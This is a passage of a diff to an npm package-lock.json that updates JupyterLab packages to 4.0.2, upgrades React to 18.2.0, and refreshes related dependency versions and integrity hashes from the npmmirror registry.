"4.0.0", - "resolved": "https://registry.npmmirror.com/@jupyterlab/ui-components/-/ui-components-4.0.0.tgz", - "integrity": "sha512-UYlnzZrHlcs38GnV4XvX6X/RVxa3C3kPe6Ked1CLl81LoiAwvFrTFUluCv9FMCMmJA2R//LIz3c+VuxpeGXA2w==", + "version": "4.0.2", + "resolved": "https://registry.npmmirror.com/@jupyterlab/ui-components/-/ui-components-4.0.2.tgz", + "integrity": "sha512-TdLgTmHzi4NuRXUCls0Nh2+C2x66tQzimQRt6hRklpB9RCI2uNcr23HXe70Dc+nNXNHwXePbnT+MAsLbWHjfDw==", "dependencies": { - "@jupyterlab/coreutils": "^6.0.0", - "@jupyterlab/observables": "^5.0.0", - "@jupyterlab/rendermime-interfaces": "^3.8.0", - "@jupyterlab/translation": "^4.0.0", + "@jupyterlab/coreutils": "^6.0.2", + "@jupyterlab/observables": "^5.0.2", + "@jupyterlab/rendermime-interfaces": "^3.8.2", + "@jupyterlab/translation": "^4.0.2", "@lumino/algorithm": "^2.0.0", "@lumino/commands": "^2.1.1", "@lumino/coreutils": "^2.1.1", @@ -1115,37 +1082,6 @@ "resolved": "https://registry.npmmirror.com/@lumino/coreutils/-/coreutils-2.1.1.tgz", "integrity": "sha512-OmEzvphZC/EVpFfwBkmcuzNwKXvkij6gJo1mbf4/tZMC1/8NO3aVnjK1FsgC0TlaGwMD1BLIFgGay2mC/I/cyQ==" }, - "node_modules/@jupyterlab/ui-components/node_modules/react": { - "version": "18.2.0", - "resolved": "https://registry.npmmirror.com/react/-/react-18.2.0.tgz", - "integrity": "sha512-/3IjMdb2L9QbBdWiW5e3P2/npwMBaU9mHCSCUzNln0ZCYbcfTsGbTJrU/kGemdH2IWmB2ioZ+zkxtmq6g09fGQ==", - "dependencies": { - "loose-envify": "^1.1.0" - }, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/@jupyterlab/ui-components/node_modules/react-dom": { - "version": "18.2.0", - "resolved": "https://registry.npmmirror.com/react-dom/-/react-dom-18.2.0.tgz", - "integrity": "sha512-6IMTriUmvsjHUjNtEDudZfuDQUoWXVxKHhlEGSk81n4YFS+r/Kl99wXiwlVXtPBtJenozv2P+hxDsw9eA7Xo6g==", - "dependencies": { - "loose-envify": "^1.1.0", - "scheduler": "^0.23.0" - }, - "peerDependencies": { - "react": "^18.2.0" - } - }, - "node_modules/@jupyterlab/ui-components/node_modules/scheduler": { - "version": "0.23.0", - "resolved": "https://registry.npmmirror.com/scheduler/-/scheduler-0.23.0.tgz", - "integrity": "sha512-CtuThmgHNg7zIZWAXi3AsyIzA3n4xx7aNyjwC2VJldO2LMVDhFK+63xGqq6CsJH4rTAt6/M+N4GhZiDYPx9eUw==", - "dependencies": { - "loose-envify": "^1.1.0" - } - }, "node_modules/@lezer/common": { "version": "1.0.2", "resolved": "https://registry.npmmirror.com/@lezer/common/-/common-1.0.2.tgz", @@ -1338,13 +1274,13 @@ "integrity": "sha512-OmEzvphZC/EVpFfwBkmcuzNwKXvkij6gJo1mbf4/tZMC1/8NO3aVnjK1FsgC0TlaGwMD1BLIFgGay2mC/I/cyQ==" }, "node_modules/@rjsf/core": { - "version": "5.7.2", - "resolved": "https://registry.npmmirror.com/@rjsf/core/-/core-5.7.2.tgz", - "integrity": "sha512-ur1OZzPb5gHBkLsLJ3iw4HwYt74ak2t/wF9xejbcU93oUpNq/NAe1j/YS6Fy2iHlAvyXwygd3tbECiIK5diaaA==", + "version": "5.8.1", + "resolved": "https://registry.npmmirror.com/@rjsf/core/-/core-5.8.1.tgz", + "integrity": "sha512-+lJKK/fdVO+DqKhSzSY8bjyAv5weoLw44d/DnCn2U8/l9qY0nqfNSvG6gyZIC9kCNnzLS/76XFAltWXgtjjzFQ==", "dependencies": { "lodash": "^4.17.21", "lodash-es": "^4.17.21", - "markdown-to-jsx": "^7.2.0", + "markdown-to-jsx": "^7.2.1", "nanoid": "^3.3.6", "prop-types": "^15.8.1" }, @@ -1352,14 +1288,14 @@ "node": ">=14" }, "peerDependencies": { - "@rjsf/utils": "5.7.x", + "@rjsf/utils": "^5.8.x", "react": "^16.14.0 || >=17" } }, "node_modules/@rjsf/utils": { - "version": "5.7.2", - "resolved": "https://registry.npmmirror.com/@rjsf/utils/-/utils-5.7.2.tgz", - "integrity": "sha512-d9vdjKzmr922CiODJBJj3od5NgnunGPMbynN//sravh2v8pUekzv3OaD0eB1HA8yPSK6Y054jZqxEGJ/pAPA7g==", + "version": "5.8.1", + "resolved": "https://registry.npmmirror.com/@rjsf/utils/-/utils-5.8.1.tgz", + "integrity": "sha512-kzWVNAW417ADG0nSEPxpqYzLrtzi9tKCCn5rOuwt6FIvSrtkatISBekyKNeycGPUfQR9VkROGrcG8cz10xUs6g==", "dependencies": { "json-schema-merge-allof": "^0.8.1", "jsonpointer": "^5.0.1", @@ -2185,9 +2121,9 @@ } }, "node_modules/lib0": { - "version": "0.2.74", - "resolved": "https://registry.npmmirror.com/lib0/-/lib0-0.2.74.tgz", - "integrity": "sha512-roj9i46/JwG5ik5KNTkxP2IytlnrssAkD/OhlAVtE+GqectrdkfR+pttszVLrOzMDeXNs1MPt6yo66MUolWSiA==", + "version": "0.2.78", + "resolved": "https://registry.npmmirror.com/lib0/-/lib0-0.2.78.tgz", + "integrity": "sha512-SV2nU43/6eaYnGH3l0lg2wg1ziB/TH3sAd2E8quXPGwrqo+aX98SNT2ZKucpUr5B8A52jD7ZMjAl+r87Fa/bLQ==", "dependencies": { "isomorphic.js": "^0.2.4" }, @@ -2196,7 +2132,7 @@ "0serve": "bin/0serve.js" }, "engines": { - "node": ">=14" + "node": ">=16" } }, "node_modules/linkify-it": { @@ -2286,9 +2222,9 @@ } }, "node_modules/markdown-to-jsx": { - "version": "7.2.0", - "resolved": "https://registry.npmmirror.com/markdown-to-jsx/-/markdown-to-jsx-7.2.0.tgz", - "integrity": "sha512-3l4/Bigjm4bEqjCR6Xr+d4DtM1X6vvtGsMGSjJYyep8RjjIvcWtrXBS8Wbfe1/P+atKNMccpsraESIaWVplzVg==", + "version": "7.2.1", + "resolved": "https://registry.npmmirror.com/markdown-to-jsx/-/markdown-to-jsx-7.2.1.tgz", + "integrity": "sha512-9HrdzBAo0+sFz9ZYAGT5fB8ilzTW+q6lPocRxrIesMO+aB40V9MgFfbfMXxlGjf22OpRy+IXlvVaQenicdpgbg==", "engines": { "node": ">= 10" }, @@ -2495,18 +2431,28 @@ "integrity": "sha512-FIqgj2EUvTa7R50u0rGsyTftzjYmv/a3hO345bZNrqabNqjtgiDMgmo4mkUjd+nzU5oF3dClKqFIPUKybUyqoQ==" }, "node_modules/react": { - "version": "17.0.2", - "resolved": "https://registry.npmmirror.com/react/-/react-17.0.2.tgz", - "integrity": "sha512-gnhPt75i/dq/z3/6q/0asP78D0u592D5L1pd7M8P+dck6Fu/jJeL6iVVK23fptSUZj8Vjf++7wXA8UNclGQcbA==", - "peer": true, + "version": "18.2.0", + "resolved": "https://registry.npmmirror.com/react/-/react-18.2.0.tgz", + "integrity": "sha512-/3IjMdb2L9QbBdWiW5e3P2/npwMBaU9mHCSCUzNln0ZCYbcfTsGbTJrU/kGemdH2IWmB2ioZ+zkxtmq6g09fGQ==", "dependencies": { - "loose-envify": "^1.1.0", - "object-assign": "^4.1.1" + "loose-envify": "^1.1.0" }, "engines": { "node": ">=0.10.0" } }, + "node_modules/react-dom": { + "version": "18.2.0", + "resolved": "https://registry.npmmirror.com/react-dom/-/react-dom-18.2.0.tgz", + "integrity": "sha512-6IMTriUmvsjHUjNtEDudZfuDQUoWXVxKHhlEGSk81n4YFS+r/Kl99wXiwlVXtPBtJenozv2P+hxDsw9eA7Xo6g==", + "dependencies": { + "loose-envify": "^1.1.0", + "scheduler": "^0.23.0" + }, + "peerDependencies": { + "react": "^18.2.0" + } + }, "node_modules/react-is": { "version": "18.2.0", "resolved": "https://registry.npmmirror.com/react-is/-/react-is-18.2.0.tgz", @@ -2555,6 +2501,14 @@ "postcss": "^8.3.11" } }, + "node_modules/scheduler": { + "version": "0.23.0", + "resolved": "https://registry.npmmirror.com/scheduler/-/scheduler-0.23.0.tgz", + "integrity": "sha512-CtuThmgHNg7zIZWAXi3AsyIzA3n4xx7aNyjwC2VJldO2LMVDhFK+63xGqq6CsJH4rTAt6/M+N4GhZiDYPx9eUw==", + "dependencies": { + "loose-envify": "^1.1.0" + } + }, "node_modules/shebang-command": { "version": "2.0.0", "resolved": "https://registry.npmmirror.com/shebang-command/-/shebang-command-2.0.0.tgz", @@ -2950,9 +2904,9 @@ } }, "node_modules/yjs": { - "version": "13.6.1", - "resolved": "https://registry.npmmirror.com/yjs/-/yjs-13.6.1.tgz", - "integrity": "sha512-IyyHL+/v9N2S4YLSjGHMa0vMAfFxq8RDG5Nvb77raTTHJPweU3L/fRlqw6ElZvZUuHWnax3ufHR0Tx0ntfG63Q==", + "version": "13.6.2", + "resolved": "https://registry.npmmirror.com/yjs/-/yjs-13.6.2.tgz", + "integrity": "sha512-shFc4JI8Hr3NqKYlS09xX6lyQwU3LvQlOXEkHK2aBa1T/luNLf0qHtoujgb9pRPxhIK0uevobHhDw0+AET1Vkw==", "dependencies": { "lib0": "^0.2.74" }, @@ -3390,20 +3344,20 @@ } }, "@jupyterlab/application": { - "version": "4.0.0", - "resolved": "https://registry.npmmirror.com/@jupyterlab/application/-/application-4.0.0.tgz", - "integrity": "sha512-EF2a/etXw1br1EX534J0N/jzwJr0cGvCOKdjULNeZci1SiJYQmwhloGAbe3t6eivrgraSBaPegNfMgYNMeP/Sw==", + "version": "4.0.2", + "resolved": "https://registry.npmmirror.com/@jupyterlab/application/-/application-4.0.2.tgz", + "integrity": "sha512-sFF2YJBRiJGu6Jx2PE/JRwmwuLTs9eHEoqaZGCD6H4loj8iDlCuwb26JVmbCz94QzgB00KFMYCBV6K7UWhid9g==", "requires": { "@fortawesome/fontawesome-free": "^5.12.0", - "@jupyterlab/apputils": "^4.0.0", - "@jupyterlab/coreutils": "^6.0.0", - "@jupyterlab/docregistry": "^4.0.0", - "@jupyterlab/rendermime": "^4.0.0", - "@jupyterlab/rendermime-interfaces": "^3.8.0", - "@jupyterlab/services": "^7.0.0", - "@jupyterlab/statedb": "^4.0.0", - "@jupyterlab/translation": "^4.0.0", - "@jupyterlab/ui-components": "^4.0.0", + "@jupyterlab/apputils": "^4.1.2", + "@jupyterlab/coreutils": "^6.0.2", + "@jupyterlab/docregistry": "^4.0.2", + "@jupyterlab/rendermime": "^4.0.2", + "@jupyterlab/rendermime-interfaces": "^3.8.2", + "@jupyterlab/services": "^7.0.2", + "@jupyterlab/statedb": "^4.0.2", + "@jupyterlab/translation": "^4.0.2", + "@jupyterlab/ui-components": "^4.0.2", "@lumino/algorithm": "^2.0.0", "@lumino/application": "^2.1.1", "@lumino/commands": "^2.1.1", @@ -3424,19 +3378,19 @@ } }, "@jupyterlab/apputils": { - "version": "4.0.0", - "resolved": "https://registry.npmmirror.com/@jupyterlab/apputils/-/apputils-4.0.0.tgz", - "integrity": "sha512-jlKy3Z+KcEq+M53xVkGbJmzoeViJDj2uePn0FiElldK5tgZ1MuxM8lWHiuaxtmvnVEwsKJmY4gwC8ZMnikFeug==", + "version": "4.1.2", + "resolved": "https://registry.npmmirror.com/@jupyterlab/apputils/-/apputils-4.1.2.tgz", + "integrity": "sha512-Gj4xd4i+y7j6W1n+cJVA+LBC20fcFUanxDxZfaYwfSFA9b/7ijx3dfw9zRY9taqzBdun17HCjynvLbOJfMwYEg==", "requires": { - "@jupyterlab/coreutils": "^6.0.0", - "@jupyterlab/observables": "^5.0.0", - "@jupyterlab/rendermime-interfaces": "^3.8.0", - "@jupyterlab/services": "^7.0.0", - "@jupyterlab/settingregistry": "^4.0.0", - "@jupyterlab/statedb": "^4.0.0", - "@jupyterlab/statusbar": "^4.0.0", - "@jupyterlab/translation": "^4.0.0", - "@jupyterlab/ui-components": "^4.0.0", + "@jupyterlab/coreutils": "^6.0.2", + "@jupyterlab/observables": "^5.0.2", + "@jupyterlab/rendermime-interfaces": "^3.8.2", + "@jupyterlab/services": "^7.0.2", + "@jupyterlab/settingregistry": "^4.0.2", + "@jupyterlab/statedb": "^4.0.2", + "@jupyterlab/statusbar": "^4.0.2", + "@jupyterlab/translation": "^4.0.2", + "@jupyterlab/ui-components": "^4.0.2", "@lumino/algorithm": "^2.0.0", "@lumino/commands": "^2.1.1", "@lumino/coreutils": "^2.1.1", @@ -3455,30 +3409,22 @@ "version": "2.1.1", "resolved": "https://registry.npmmirror.com/@lumino/coreutils/-/coreutils-2.1.1.tgz", "integrity": "sha512-OmEzvphZC/EVpFfwBkmcuzNwKXvkij6gJo1mbf4/tZMC1/8NO3aVnjK1FsgC0TlaGwMD1BLIFgGay2mC/I/cyQ==" - }, - "react": { - "version": "18.2.0", - "resolved": "https://registry.npmmirror.com/react/-/react-18.2.0.tgz", - "integrity": "sha512-/3IjMdb2L9QbBdWiW5e3P2/npwMBaU9mHCSCUzNln0ZCYbcfTsGbTJrU/kGemdH2IWmB2ioZ+zkxtmq6g09fGQ==", - "requires": { - "loose-envify": "^1.1.0" - } } } }, "@jupyterlab/codeeditor": { - "version": "4.0.0", - "resolved": "https://registry.npmmirror.com/@jupyterlab/codeeditor/-/codeeditor-4.0.0.tgz", - "integrity": "sha512-jJLhO18gN+N/gpVUiPGshXiI8hd5qzqIZ4dw9MnFG/nDDL/5rjbCUkEs1X82/0hmQx59k7crfKPfldKdk2DXGw==", + "version": "4.0.2", + "resolved": "https://registry.npmmirror.com/@jupyterlab/codeeditor/-/codeeditor-4.0.2.tgz", + "integrity": "sha512-7YmKs8litDFfB1oGUcA6SKylx8VnBYDW5fqbLapzhhvBQD5lPK/Gk3vaDF5U8BwsjQqHVeK2+5ZJPYKJYKGzGg==", "requires": { "@codemirror/state": "^6.2.0", "@jupyter/ydoc": "^1.0.2", - "@jupyterlab/coreutils": "^6.0.0", - "@jupyterlab/nbformat": "^4.0.0", - "@jupyterlab/observables": "^5.0.0", - "@jupyterlab/statusbar": "^4.0.0", - "@jupyterlab/translation": "^4.0.0", - "@jupyterlab/ui-components": "^4.0.0", + "@jupyterlab/coreutils": "^6.0.2", + "@jupyterlab/nbformat": "^4.0.2", + "@jupyterlab/observables": "^5.0.2", + "@jupyterlab/statusbar": "^4.0.2", + "@jupyterlab/translation": "^4.0.2", + "@jupyterlab/ui-components": "^4.0.2", "@lumino/coreutils": "^2.1.1", "@lumino/disposable": "^2.1.1", "@lumino/dragdrop": "^2.1.1", @@ -3492,21 +3438,13 @@ "version": "2.1.1", "resolved": "https://registry.npmmirror.com/@lumino/coreutils/-/coreutils-2.1.1.tgz", "integrity": "sha512-OmEzvphZC/EVpFfwBkmcuzNwKXvkij6gJo1mbf4/tZMC1/8NO3aVnjK1FsgC0TlaGwMD1BLIFgGay2mC/I/cyQ==" - }, - "react": { - "version": "18.2.0", - "resolved": "https://registry.npmmirror.com/react/-/react-18.2.0.tgz", - "integrity": "sha512-/3IjMdb2L9QbBdWiW5e3P2/npwMBaU9mHCSCUzNln0ZCYbcfTsGbTJrU/kGemdH2IWmB2ioZ+zkxtmq6g09fGQ==", - "requires": { - "loose-envify": "^1.1.0" - } } } }, "@jupyterlab/coreutils": { - "version": "6.0.0", - "resolved": "https://registry.npmmirror.com/@jupyterlab/coreutils/-/coreutils-6.0.0.tgz", - "integrity": "sha512-XDvQsLwjvwtWr2pzcXtLJ1BiHvTOKqw9BmKJ+p9ClvTHq57/5Eo7KUC8vETmfDuLyNOY3fd+l7jw3DpgpsR7iw==", + "version": "6.0.2", + "resolved": "https://registry.npmmirror.com/@jupyterlab/coreutils/-/coreutils-6.0.2.tgz", + "integrity": "sha512-jSGATyE11MuX1gbH/QYJZkYh8ddbV8SdRQ36U5Exy/oAL0ukF6vqfpIpDpo/EAW+p9aDBlSnvi3WtgyVQcltqg==", "requires": { "@lumino/coreutils": "^2.1.1", "@lumino/disposable": "^2.1.1", @@ -3524,20 +3462,20 @@ } }, "@jupyterlab/docregistry": { - "version": "4.0.0", - "resolved": "https://registry.npmmirror.com/@jupyterlab/docregistry/-/docregistry-4.0.0.tgz", - "integrity": "sha512-pFgJQFoF96aJqE3sCVwkuHVUUb/1rgOrDvffJvQSsuVjhfd0Lm2ufiTb8fAJOXhf700P2d3zwkCayfTR5RDEhQ==", + "version": "4.0.2", + "resolved": "https://registry.npmmirror.com/@jupyterlab/docregistry/-/docregistry-4.0.2.tgz", + "integrity": "sha512-juWWfov9RK0fuvhj7ckVgmYqiwQPFSoKs040Wv9nppnYDfNJDQQmQMPFlSJA0irZ9AxfTyf1+TjRe+WVQcHvvg==", "requires": { "@jupyter/ydoc": "^1.0.2", - "@jupyterlab/apputils": "^4.0.0", - "@jupyterlab/codeeditor": "^4.0.0", - "@jupyterlab/coreutils": "^6.0.0", - "@jupyterlab/observables": "^5.0.0", - "@jupyterlab/rendermime": "^4.0.0", - "@jupyterlab/rendermime-interfaces": "^3.8.0", - "@jupyterlab/services": "^7.0.0", - "@jupyterlab/translation": "^4.0.0", - "@jupyterlab/ui-components": "^4.0.0", + "@jupyterlab/apputils": "^4.1.2", + "@jupyterlab/codeeditor": "^4.0.2", + "@jupyterlab/coreutils": "^6.0.2", + "@jupyterlab/observables": "^5.0.2", + "@jupyterlab/rendermime": "^4.0.2", + "@jupyterlab/rendermime-interfaces": "^3.8.2", + "@jupyterlab/services": "^7.0.2", + "@jupyterlab/translation": "^4.0.2", + "@jupyterlab/ui-components": "^4.0.2", "@lumino/algorithm": "^2.0.0", "@lumino/coreutils": "^2.1.1", "@lumino/disposable": "^2.1.1", @@ -3555,18 +3493,18 @@ } }, "@jupyterlab/mathjax2": { - "version": "3.6.3", - "resolved": "https://registry.npmmirror.com/@jupyterlab/mathjax2/-/mathjax2-3.6.3.tgz", - "integrity": "sha512-Aju49iHqwvsArc3qvQGDAOpQkpKvHfCXueQX7qJDRBst764jw+NjvWK11ODkRgUwsv0Rxi4YzOT0Z7N6Qnc5Rw==", + "version": "3.6.4", + "resolved": "https://registry.npmmirror.com/@jupyterlab/mathjax2/-/mathjax2-3.6.4.tgz", + "integrity": "sha512-NQKt/u51svG719aIBLipcEopaZNBNuxzzR+J9NNiLTLHT+3Z6iq1N+vs3h9aN2jYyOwtboZesZ2AtGK7KQ/OrA==", "requires": { - "@jupyterlab/rendermime-interfaces": "^3.6.3", + "@jupyterlab/rendermime-interfaces": "^3.6.4", "@lumino/coreutils": "^1.11.0" } }, "@jupyterlab/nbformat": { - "version": "4.0.0", - "resolved": "https://registry.npmmirror.com/@jupyterlab/nbformat/-/nbformat-4.0.0.tgz", - "integrity": "sha512-9jqM4MqKcEoLoXZkMBJOPNco0mmmV3IsKYtrQkFRMm6eeYd7xdBsfKCkfvN8msOfyJUgfxXw1RrQA5sLII7g7w==", + "version": "4.0.2", + "resolved": "https://registry.npmmirror.com/@jupyterlab/nbformat/-/nbformat-4.0.2.tgz", + "integrity": "sha512-K83wDb1iUViTk4mj228SR4E0GPASiykXcD/tVYAOvxWv8TsaZ2UK/dcX4ZtBEZpVqI5enRrq8Z7xISMR+3CRBg==", "requires": { "@lumino/coreutils": "^2.1.1" }, @@ -3579,9 +3517,9 @@ } }, "@jupyterlab/observables": { - "version": "5.0.0", - "resolved": "https://registry.npmmirror.com/@jupyterlab/observables/-/observables-5.0.0.tgz", - "integrity": "sha512-TQRx+ytZq92Qs022Tg2943hFFKMOykzuw5sXcDqvK7yR3rhvKSOIuCzax9R0AEqUiVULDz6B7azDzfBHTimzZA==", + "version": "5.0.2", + "resolved": "https://registry.npmmirror.com/@jupyterlab/observables/-/observables-5.0.2.tgz", + "integrity": "sha512-mZowpnUrfKqjc2OjwBjI4je2idMaoM3OURCcPMlcCVCZUUiFEB2SOCx8/1jWrotw/er5Cjp7vROZ7Iz8BiIW1g==", "requires": { "@lumino/algorithm": "^2.0.0", "@lumino/coreutils": "^2.1.1", @@ -3598,17 +3536,17 @@ } }, "@jupyterlab/rendermime": { - "version": "4.0.0", - "resolved": "https://registry.npmmirror.com/@jupyterlab/rendermime/-/rendermime-4.0.0.tgz", - "integrity": "sha512-MwJN2gB6cmEBxZ+fkyuZU9CRzI01tHLTVXmTHbjwAVxAQtIrqr9lYhNY0y7iCSej1RgGtiMQDUAa4V2uo4zndw==", + "version": "4.0.2", + "resolved": "https://registry.npmmirror.com/@jupyterlab/rendermime/-/rendermime-4.0.2.tgz", + "integrity": "sha512-x5nPqwGnJCkbS6+jEmhN/fKNSM22DCbO+vwZYAa8dbcL+xURRE7iockxX6cpdHhMNeQ/JlZ5m4HQyTmIzd4N/Q==", "requires": { - "@jupyterlab/apputils": "^4.0.0", - "@jupyterlab/coreutils": "^6.0.0", - "@jupyterlab/nbformat": "^4.0.0", - "@jupyterlab/observables": "^5.0.0", - "@jupyterlab/rendermime-interfaces": "^3.8.0", - "@jupyterlab/services": "^7.0.0", - "@jupyterlab/translation": "^4.0.0", + "@jupyterlab/apputils": "^4.1.2", + "@jupyterlab/coreutils": "^6.0.2", + "@jupyterlab/nbformat": "^4.0.2", + "@jupyterlab/observables": "^5.0.2", + "@jupyterlab/rendermime-interfaces": "^3.8.2", + "@jupyterlab/services": "^7.0.2", + "@jupyterlab/translation": "^4.0.2", "@lumino/coreutils": "^2.1.1", "@lumino/messaging": "^2.0.0", "@lumino/signaling": "^2.1.1", @@ -3624,12 +3562,12 @@ } }, "@jupyterlab/rendermime-interfaces": { - "version": "3.8.0", - "resolved": "https://registry.npmmirror.com/@jupyterlab/rendermime-interfaces/-/rendermime-interfaces-3.8.0.tgz", - "integrity": "sha512-a+5AABK99DxunPBDIEPWFO2cXT3UqghQ75/k7+9QV0Bf3pqGMzHe5fSk2ZBDeQ+gvTT88yYlL7oxzjzbGzU0Lw==", + "version": "3.8.2", + "resolved": "https://registry.npmmirror.com/@jupyterlab/rendermime-interfaces/-/rendermime-interfaces-3.8.2.tgz", + "integrity": "sha512-IOnzA/ccfwXGO/RaWysYn74ojJ7PaH5igTnS0sjo4qIprFZ6tCORTrKF594BA7Qz6PpW2+GpdUVMUnnYdU5R9Q==", "requires": { - "@lumino/coreutils": "^2.1.1", - "@lumino/widgets": "^2.1.1" + "@lumino/coreutils": "^1.11.0 || ^2.1.1", + "@lumino/widgets": "^1.37.2 || ^2.1.1" }, "dependencies": { "@lumino/coreutils": { @@ -3640,15 +3578,15 @@ } }, "@jupyterlab/services": { - "version": "7.0.0", - "resolved": "https://registry.npmmirror.com/@jupyterlab/services/-/services-7.0.0.tgz", - "integrity": "sha512-DPXca4MVuoB4ABAwe/wVazPtOe8E+9JJhgJ5OcOFKYrG98kxcHDFCK9lqSrDxqqJYbz6POF/49yzafoSasTspg==", + "version": "7.0.2", + "resolved": "https://registry.npmmirror.com/@jupyterlab/services/-/services-7.0.2.tgz", + "integrity": "sha512-luhc5wVdojQ0kVM1EMv7HkI6eiEU36Sj69a0vNRFj2U+VcgN9Dicb+vlOZnS1cOOGNhSRjKuaREkXRfEETsq3A==", "requires": { "@jupyter/ydoc": "^1.0.2", - "@jupyterlab/coreutils": "^6.0.0", - "@jupyterlab/nbformat": "^4.0.0", - "@jupyterlab/settingregistry": "^4.0.0", - "@jupyterlab/statedb": "^4.0.0", + "@jupyterlab/coreutils": "^6.0.2", + "@jupyterlab/nbformat": "^4.0.2", + "@jupyterlab/settingregistry": "^4.0.2", + "@jupyterlab/statedb": "^4.0.2", "@lumino/coreutils": "^2.1.1", "@lumino/disposable": "^2.1.1", "@lumino/polling": "^2.1.1", @@ -3665,12 +3603,12 @@ } }, "@jupyterlab/settingregistry": { - "version": "4.0.0", - "resolved": "https://registry.npmmirror.com/@jupyterlab/settingregistry/-/settingregistry-4.0.0.tgz", - "integrity": "sha512-cWb6nm2mYO8fcPo4vpUMV7qzq8kE1CBGFvBL/Ap0HHP1/4s3yCgEUrzdx+THFq+rWnVTuIL9M/Bgu7VBseAFsw==", + "version": "4.0.2", + "resolved": "https://registry.npmmirror.com/@jupyterlab/settingregistry/-/settingregistry-4.0.2.tgz", + "integrity": "sha512-c0HrgJescIoEz+DWm1wt7pNYGaMK1kq+7Ask8BRJBWJwwg9RuIrgPUd58Kc14YGNvIvDTPvgltUunhQIBZJQzg==", "requires": { - "@jupyterlab/nbformat": "^4.0.0", - "@jupyterlab/statedb": "^4.0.0", + "@jupyterlab/nbformat": "^4.0.2", + "@jupyterlab/statedb": "^4.0.2", "@lumino/commands": "^2.1.1", "@lumino/coreutils": "^2.1.1", "@lumino/disposable": "^2.1.1", @@ -3688,9 +3626,9 @@ } }, "@jupyterlab/statedb": { - "version": "4.0.0", - "resolved": "https://registry.npmmirror.com/@jupyterlab/statedb/-/statedb-4.0.0.tgz", - "integrity": "sha512-n48x154zuuXnBVXlI0XNoRMrj2p3ubM9dPgfqn4kp12uwnTv7uKpueS3/PF+A0iHP3GZZ9JG+egTchfBjlXu4w==", + "version": "4.0.2", + "resolved": "https://registry.npmmirror.com/@jupyterlab/statedb/-/statedb-4.0.2.tgz", + "integrity": "sha512-erVHlzJkd8xPsOHyAlImJgOAS9ohq4zRloX2+VMpCJHeYrK5z/KO9mVQlAFFC1JNlm3C3JjnvZBbTAZshzsMHA==", "requires": { "@lumino/commands": "^2.1.1", "@lumino/coreutils": "^2.1.1", @@ -3707,11 +3645,11 @@ } }, "@jupyterlab/statusbar": { - "version": "4.0.0", - "resolved": "https://registry.npmmirror.com/@jupyterlab/statusbar/-/statusbar-4.0.0.tgz", - "integrity": "sha512-vstCS5w90CXDMVU6+hZDVakHTzdXKRnv3Yu3vZBAq8vIU5OJIHMw57rLaXLaddGXZzqE+nQVj872vkgnkGx74g==", + "version": "4.0.2", + "resolved": "https://registry.npmmirror.com/@jupyterlab/statusbar/-/statusbar-4.0.2.tgz", + "integrity": "sha512-5p3tSG/VM8TQ1SDIPRYBK0P2Bh+2VK1eCiCna/Zane3OHZww99JM+7yySiGYffbJuhD5ZHp+a8IYXAbAE5xVOg==", "requires": { - "@jupyterlab/ui-components": "^4.0.0", + "@jupyterlab/ui-components": "^4.0.2", "@lumino/algorithm": "^2.0.0", "@lumino/coreutils": "^2.1.1", "@lumino/disposable": "^2.1.1", @@ -3725,36 +3663,28 @@ "version": "2.1.1", "resolved": "https://registry.npmmirror.com/@lumino/coreutils/-/coreutils-2.1.1.tgz", "integrity": "sha512-OmEzvphZC/EVpFfwBkmcuzNwKXvkij6gJo1mbf4/tZMC1/8NO3aVnjK1FsgC0TlaGwMD1BLIFgGay2mC/I/cyQ==" - }, - "react": { - "version": "18.2.0", - "resolved": "https://registry.npmmirror.com/react/-/react-18.2.0.tgz", - "integrity": "sha512-/3IjMdb2L9QbBdWiW5e3P2/npwMBaU9mHCSCUzNln0ZCYbcfTsGbTJrU/kGemdH2IWmB2ioZ+zkxtmq6g09fGQ==", - "requires": { - "loose-envify": "^1.1.0" - } } } }, "@jupyterlab/theme-light-extension": { - "version": "4.0.0", - "resolved": "https://registry.npmmirror.com/@jupyterlab/theme-light-extension/-/theme-light-extension-4.0.0.tgz", - "integrity": "sha512-ijGXJ/BOiIbRmotRO9Pbreg6p6m155E78YNOAr5J/RHX3iG+HvLbUhWd8BE+JAmOJKb4SpnUA6wj1EX/dinMoA==", + "version": "4.0.2", + "resolved": "https://registry.npmmirror.com/@jupyterlab/theme-light-extension/-/theme-light-extension-4.0.2.tgz", + "integrity": "sha512-HFwCXbe/3u3Feo/XQEN3zd15Hsa2TGgBAVuViZ935BZ0sipATpiNYWAmLx2HBqUisuI/zN6Lrkh8Uw1S73WBOQ==", "requires": { - "@jupyterlab/application": "^4.0.0", - "@jupyterlab/apputils": "^4.0.0", - "@jupyterlab/translation": "^4.0.0" + "@jupyterlab/application": "^4.0.2", + "@jupyterlab/apputils": "^4.1.2", + "@jupyterlab/translation": "^4.0.2" } }, "@jupyterlab/translation": { - "version": "4.0.0", - "resolved": "https://registry.npmmirror.com/@jupyterlab/translation/-/translation-4.0.0.tgz", - "integrity": "sha512-L+5IsQ89xupLLGQW5uAmQb15L1kXYG3b9+vGrHMtZGL20tk5mYFP79BBdd1H6eK8MGrWFthT56alAsu9QMDwrQ==", + "version": "4.0.2", + "resolved": "https://registry.npmmirror.com/@jupyterlab/translation/-/translation-4.0.2.tgz", + "integrity": "sha512-EiYk/dt4hBAnrHKw7YXfeKmqvug6bWadQVthY0lRE18FuSKVAOgWv2qRAxOSZEWiFyUjEKutUg5OOms6KCHZFA==", "requires": { - "@jupyterlab/coreutils": "^6.0.0", - "@jupyterlab/rendermime-interfaces": "^3.8.0", - "@jupyterlab/services": "^7.0.0", - "@jupyterlab/statedb": "^4.0.0", + "@jupyterlab/coreutils": "^6.0.2", + "@jupyterlab/rendermime-interfaces": "^3.8.2", + "@jupyterlab/services": "^7.0.2", + "@jupyterlab/statedb": "^4.0.2", "@lumino/coreutils": "^2.1.1" }, "dependencies": { @@ -3766,14 +3696,14 @@ } }, "@jupyterlab/ui-components": { - "version": "4.0.0", - "resolved": "https://registry.npmmirror.com/@jupyterlab/ui-components/-/ui-components-4.0.0.tgz", - "integrity": "sha512-UYlnzZrHlcs38GnV4XvX6X/RVxa3C3kPe6Ked1CLl81LoiAwvFrTFUluCv9FMCMmJA2R//LIz3c+VuxpeGXA2w==", + "version": "4.0.2", + "resolved": "https://registry.npmmirror.com/@jupyterlab/ui-components/-/ui-components-4.0.2.tgz", + "integrity": "sha512-TdLgTmHzi4NuRXUCls0Nh2+C2x66tQzimQRt6hRklpB9RCI2uNcr23HXe70Dc+nNXNHwXePbnT+MAsLbWHjfDw==", "requires": { - "@jupyterlab/coreutils": "^6.0.0", - "@jupyterlab/observables": "^5.0.0", - "@jupyterlab/rendermime-interfaces": 